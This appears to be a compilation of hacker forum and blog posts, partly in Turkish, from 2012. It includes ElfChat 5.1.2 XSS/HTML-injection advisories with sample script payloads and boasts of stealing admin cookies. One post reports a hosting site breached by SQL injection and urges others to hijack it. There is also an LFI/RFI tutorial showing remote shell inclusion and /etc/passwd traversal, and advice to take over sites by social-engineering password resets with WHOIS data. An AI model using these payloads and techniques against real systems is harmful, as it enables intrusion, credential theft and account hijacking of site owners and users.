Easy Hacking Method's (PDF)

Here is The File : http://thefear.in/Easy_Hacking_Method.pdf

Elfet - ElfChat 5.1.2 Pro XSS + HTML Inject on Groups.PHP

+---------------------------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title     : Elfet - ElfChat 5.1.2 Pro XSS + HTML Inject on Groups.PHP

# Date              : 2012-08-01

# Vulnearbility  : http://www.Site.tld/chat/admin/groups.php?2dfc7807e562134798541dbba20e22e7/YWNydWRfYWN0PWNyZWF0ZQ--

# Author            : Avatar Fearless 

# Software link     : http://community.elfchat.net/files/download/4-elfchat-5-demo/

# Official Site     : http://elfchat.net/

# Version           : 5.1.2 Pro (Updated)

# Tested on         : Windows 7 Ultimate x32 

# Original Advisory : http://thefear.in/elfchatvuln3.txt  

# Contact           : avatar@hiphopfan.com || avatar_legends@live.com/@mail.ru

# Web Sites         : http://anti-armenia.org/ || http://millikuvvetler.net/ || http://mexfi.org/

+---------------------------------------------------------------------------------------------------------------------------------------------------+

[+] Vulnerable :

http://www.Site.tld/chat/admin/groups.php

[-] Exploit :

In "Admin" Case you can do everythink with groups.php!

[?] About :

For More Info Contact me.

[#] Description :
It affects to : /admin/index.php + /admin/users.php

[$] Information About This Vulnerability + Exploiting.
You Can Put JavaScript + HTML Inject when you create a new group.

[|]PoC :
<?php

require_once 'init.php';
require_once 'controller/CrudController.php';
require_once 'models/Group.php';

class GroupsController extends AdminController
{
    public function __construct()
    {
        parent::__construct(array(
                    'select' => 'groups',
                    'title' => tr('Groups'),
                    'url' => 'groups.php?'
                ));

        $this->view = new View('groups');
    }

    public function action_index()
    {
        $groups = Group::model();

        $crud = new CrudController($groups);
        $crud->SetController($this);

        $crud->SetLog($this->logs);
        $crud->SetLogsMessages(array('create' => tr('New group was created: %title%'), 'update' => tr('Group was edited: %title%'), 'delete' => tr('Group was deleted: %title%')));
        $crud->SetSubmits(array('create' => tr('Add new group'), 'update' => tr('Edit group'), 'delete' => tr('Delete group')));
        $crud->SetTitles(array('create' => tr('Create new group'), 'update' => tr('Edit group: %title%'), 'delete' => tr('Delete group: %title%')));
        $crud->SetMessages(array('create' => tr('New group was created.'), 'update' => tr('Group was edited: %title%'), 'delete' => tr('Group was deleted: %title%')));


        $act = $crud->GetAct();

        $page_title = '';
        if ($act == CrudEnum::Read)
            $page_title = tr('Groups');
        $this->view->title = $page_title;

        $columns = array(
            'id' => array('title' => tr('ID'), 'width' => '20px'),
            'title' => array('title' => tr('Title'))
        );
        $crud->SetColumns($columns);

        $title = new InputText('title', tr('Title of new group.'));
        $title->SetValid(array( new Validation_NotEmpty(), new Validation_MaxLength() ));
        $title->AddValid (new Validation_Unique($groups, 'title', tr('Title of group have to be unique.')));
        $crud->AddInput($title);

        $crud->AddInput(new InputCheck('settings#enter', tr('Can enter to chat?'), true));
        $crud->AddInput(new InputText('settings#icon', tr('Icon of group'), ''));
        $crud->AddInput(new InputCheck('settings#bbcode_status', tr('Can use bbcode in status?'), false));
        $crud->AddInput(new InputCheck('settings#enable_antispam', tr('Turn on antispam?'), true));

        $crud->run();      
        $this->display();
    }

    public function action_reset()
    {
        $group_settings = array(
            'enter' => true,
            'icon' => '',
            'bbcode_status' => false,
            'enable_antispam' => true
        );
        Group::model()->updateAll('', array(
            'group_setting' => serialize($group_settings)
        ));
        $this->logs->Log(tr('All groups was reseted.'));
        $this->redirect(url( array('message' => tr('All groups reseted.')) ));
    }
}

$page = new GroupsController();
$page->Login();
?>


[@]

Respect To : 

All My Bro*S

AA Team

MF Team

MKT Team

Gr33t`Z T0 : All Team MemBer'Z

+---------------------------------------------------------------------------------------------------------------------------------------------------+

Elfet - ElfChat 5.1.2 Pro XSS + HTML Inject on Admin / Site Settings

+---------------------------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title  : Elfet - ElfChat 5.1.2 Pro XSS + HTML Inject on Admin / Site Settings
# Date                    : 2012-07-31
# Vulnearbility  : http://www.Site.tld/chat/admin/settings.php?33dca4953ec77be27e393b32938807e7/YWFjdD1tYWlu
# Vulnearbility2  : http://www.site.tld/chat/admin/users.php?ef2e8f2d2d3ff1bba659b81b9fc62b94/YWZpbHRyPWFsbHVzZXJzJmNydWRfYWN0PWNyZWF0ZQ--
# Author                        : Avatar Fearless
# Software link  : http://community.elfchat.net/files/download/4-elfchat-5-demo/
# Official Site  : http://elfchat.net/
# Version                  : 5.1.2 Pro (Updated)
# Tested on              : Windows 7 Ultimate x32
# Original Advisory : http://thefear.in/elfchatvuln2.txt ||
# Contact                  : avatar@hiphopfan.com || avatar_legends@live.com/@mail.ru
# Web Sites              : http://anti-armenia.org/ || http://millikuvvetler.net/ || http://mexfi.org/
+---------------------------------------------------------------------------------------------------------------------------------------------------+
[+] Vulnerable :
http://www.Site.tld/chat/admin/settings.php
[-] Exploit :
In "Admin" Case you can do everythink with settings.php!
[?] About :
For More Info Contact me.
[#] Description :
I Got 2 Vulnerability on this CMS. Before all of this , This is updated version. Actually This vulnerability is not on signup.phpThis Vulnearbility Affects to : /admin/ here.
[$] Information About This Vulnerability + Exploiting.
Let's Take a while. What is this URL? :
http://www.Site.tld/chat/admin/settings.php?33dca4953ec77be27e393b32938807e7/YWFjdD1tYWlu
This is Settings. Right! Our Vulnearbility is on /admin/setting.php in the "Title" We got problem.
In Title We can use all the JavaScript Code'S(EX : "<script>alert(1);</script>")
http://s14.postimage.org/n1ldbshsw/elfchatvuln2.jpg
And We got a HTML Injection.
(EX : "<h1>Owned</h1>")
http://s14.postimage.org/es4wjmyow/elfchatvuln.jpg
You See. It Takes So Easy. i mean this JS + HTML inject isn't encrypt it is only themself. This mean it is so easy to build a XSRF
& Take Cookie'Z. And This will be easy cause we don't have any pm and that's way you will send the link. And Admin or other users will click
on this link and i will got the cookie :D . So Geniues ;)
And Let's Talk About The other Vulnearbility. About The "Create another Person". Yeah This Vulnerability Affects to :
http://www.site.tld/chat/admin/users.php?ef2e8f2d2d3ff1bba659b81b9fc62b94/YWZpbHRyPWFsbHVzZXJzJmNydWRfYWN0PWNyZWF0ZQ--
In Here Admin Cat Put All The JS Source Codes. So We got another XSS in
http://www.site.tld/chat/admin/users.php?ef2e8f2d2d3ff1bba659b81b9fc62b94/YWZpbHRyPWFsbHVzZXJzJmNydWRfYWN0PWNyZWF0ZQ--
Create a new Person =)
[@]
Respect To :
All My Bro*S
AA Team
MF Team
MKT Team
Gr33t`Z T0 : All Team MemBer'Z+---------------------------------------------------------------------------------------------------------------------------------------------------+

Hosting SQL Injection VUlnerability + Dumped :P

Cok Calisamadim Yorgunum biraz Her Sey burda :
http://pastebin.com/HW9sDV8V
Adminin PHPMYADMIN yerine girdim 1-2 seye baktim tam dump filan pass orda durmuyor cookie silmis. Drop yapicakdim degisti pass-i onun icin cabuk davranin. XSRF-mi kurcaksiniz cookie calicaksiniz SM , XST-mi yapicaksaniz ne yapicaksaniz yapin :D sizlik. Yarin biraz daha bakarim :P
Bu arada tesekkurler :)

Topic :
http://www.millikuvvetler.net/showthread.php?t=9310

Elfet - ElfChat 5.1.2 Pro XSS [ x-x Cross Site Scripting] Vulnerability

+---------------------------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title     : Elfet - ElfChat 5.1.2 Pro XSS [ x-x Cross Site Scripting] Vulenrable

# Date              : 2012-07-05

# Author            : Avatar Fearless 

# Software link     : http://community.elfchat.net/files/download/4-elfchat-5-demo/

# Official Site     : http://elfchat.net/

# Version           : 5.1.2 Pro

# Tested on         : Windows 7 Ultimate x32 

# Original Advisory : http://thefear.in/elfchatvuln.txt || http://pastebin.com/0XCdGHzn

# Contact           : avatar@hiphopfan.com || avatar_legends@live.com/@mail.ru

# Web Sites         : http://anti-armenia.org/ || http://millikuvvetler.net/ || http://mexfi.org/

# Greet`Z To        : S3N4N 

+---------------------------------------------------------------------------------------------------------------------------------------------------+

[+] Vulnerable :

http://site.tld/elfchat/signup.php

[-] Exploit :

It Takes JavaScript (ex. : <script>alert(1);</script>)

[?] About :

For More Info Contact me.

[@]

Respect To : 

All My Bro*S

AA Team

MF Team

MKT Team

[#]

Special Thank`Z To : S3N4N

+---------------------------------------------------------------------------------------------------------------------------------------------------

Lock & Hide Folder Via CMD

Guzel Anlatim Tesekkurler. Ellerine Saglik.
1 kac sey-de soylemek istiyorum :/
Simdi
Start > RUN > CMD

Kod:

CD c:\test

burda test yerine o faylimizin yerlesdiiyi folderi yazicaz. Ve Folder acilacaq sonrada

Kod:

attrib file +s +h

Buda file yerine filemizina di ve uzantisi yani file.uzanti gibi yazicaz ve yok olcak. Yeniden geri getire bilmek icin Ayni usulda amma

Kod:

attrib file -s -h

Gibi yapicaz ve cozulmus olcak.ve ya baska yollarda vardir

Kod:

HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion
PoliciesExplorer

Reg yapariz Decimal ve NoDriver ile

ve ya loc bitter ve stack-la kururuz :

Kod:

ren Users Users.{21EC2020-3AEA-1069-A2DD-08002B30309D}

Ve loc.bat key.bat

Kod:

ren Users.{21EC2020-3AEA-1069-A2DD-08002B30309D} Users

Yollar Cok

RARLAYIB CMD-le bakalim

Command Promt-la isimizi yaptik :

Gorduyunuz gibi cesitli yollarimiz var Basarilar + Thank`Z && Respect!!
Topic : http://www.millikuvvetler.net/showthread.php?t=8871

LFI & RFI Anlatim

Ve Aleykum Selam Kardesim. Hos Geldin Aramiza. Sana 1-2 yardim yapa bilirim. Ilk once sana Hedef Site Nasil hacklanir en iyi yontemini soyliycem. Simdi Benim her zaman kullandigim Hedef Site. SQL Injection-da oylesine onunden gecer gider. Yani Hedefin olmaz Shansina ne cikarsa ve Ya RFI / LFI -da. Biraz Acayim. SQL Zaten ne Biliyorsun.

Kod:

structured query language

LFI = Local File Include
RFI = Remote File Include
Simdi RFI-den baslayalim. RFI nedir? Mesela bu 1 Vulnerability yani 1 Vulnv = Acikdir.
Bu acikla ne yapila bilir. Bu Acikla Siteye 1 nevin Shell sokula bilir.Mesela bizim 1 film sitemiz var
http://site.tld/film.php?link=
burdan biz filmimize bakariz. Aslinda film sitelerinde boyle 1 teknik vardir. Film Sitesinde o filmin embed hissesi olur. Orda aslinda 1 link-dir. yani aslinda sitemizdeki video basqa 1 sitededir amma bizim bu videonun yerlesdiyi arazi oraya yonlenir. Yani boyle
http://site.tld/film.php?link=http:/...i.tld/film.avi
gibi amma biz bunu yararli olarak kullanirsak boyle olur :
http://site.tld/film.php?link=http:/...tld/shell.txt?
Burda http:// ve ? isareleri cok onemlidir. ? koydugumuzda shellimiz 1 nevin yollara bolunur ve php gibi acilir. URL Encoding-de denir. Simdi Boylelikle o video yerinde yani arazisinde video yerine shell olur. Burda Video var ve bana aittir.

Burda hem RFI Hemde LFI var. Simdi bu kodlar neden kaynaklanir. Yani Aciklar neden kaynaklanir?

Kod:

<?php
$deger=$+GET[`deger2`]
include($degerimiz)
?>

Bu 1 misal.

Kod:

<a href=index.php?page=file1.php>Files</a>
<?php
$page = $_GET[page];
include($page);
?>

Simdi gelelim LFI-a.
Local File Include. Elimizde 1 site var. O Sitede shellimiz var. Ve ya Yok. Biz /etc/passwd-lari LFI acigi ile ceke biliriz. Ondan sonra biz User Agent-le SHell upload etmek olur. LFI aciklari neden olusur ?

Kod:

<?php
include($_GET[’sayfa’.".php");
?>

Bu Funksiyonlarla calisir :

Kod:

include();
include_once();
require();
require_once();
file();
file_get_contents();

Nasil bulunur? mesela 1 site goturelim :
http://site.tld/haber.php?sayfa=haber
gibi ordanda biz haber yerine /etc/passwd yazariz ve Acigin olub olmadigina bakariz amma bazen ../etc/passwd gibi olur ve artirarak gideriz ../../etc/passwd
../../../../etc/passwd gibi ireliler.
BOyle 1 hata aliriz :

Kod:

Warning: main(/etc/passwd): failed to open stream: No such file or directory in /usr/www/www.**********.org/www/test.php on line 5

Warning: main(): Failed opening ’/etc/passwd’ for inclusion (include_path=’.:’) in /usr/www/www.*********.org/www/test.php on line 6

Kod:

/usr ( 1 .ci dizin )
/www ( 2 .ci dizin )
/www.*********.org ( 3. cü dizin )
/www ( 4. cü dizin )
/test.php ( su an buldugumuz dizin )

Bu Senin dediyin gibi 1 sey. Rastgele cikar o zaman Hedef site hack olmaz. Hedef Site Hack nasil olur? Site uzerinden WhoIs Cekersin. Sonrada Soylersinki password unutdum. O bilgiler ister sende whois bilgilerini verirsin. Boylece password reset olur. ve ya Sitenin kuruldugu CMS sistemine bakaarsin. Mesela Wordpress , VBulletin , ElfChat , Seditio vs vs . Ve Version secersin wordpress v3.6.0 ve googlede bu surum uzre aciklari Vulnerability yani Vuln = acik ararsin Eger bulursan hemen uzerinde PenTest manual yani Programsiz kendi elinde aratirsin ve ya Acunetix programi ile aratirsin amma manual hepsinden guzel. Ve bu Surum uzre olan acigi bulduk sitede yaradisa Site Vulnerable yani Acigi var o aciki kullanarak Siteni Heklersin. Boylece Hedef Site Hack olur en iyi yontem budur Basarilar + Iyi Forumlar & Respect! ^_^
Topic : http://www.millikuvvetler.net/showthread.php?t=8817&page=2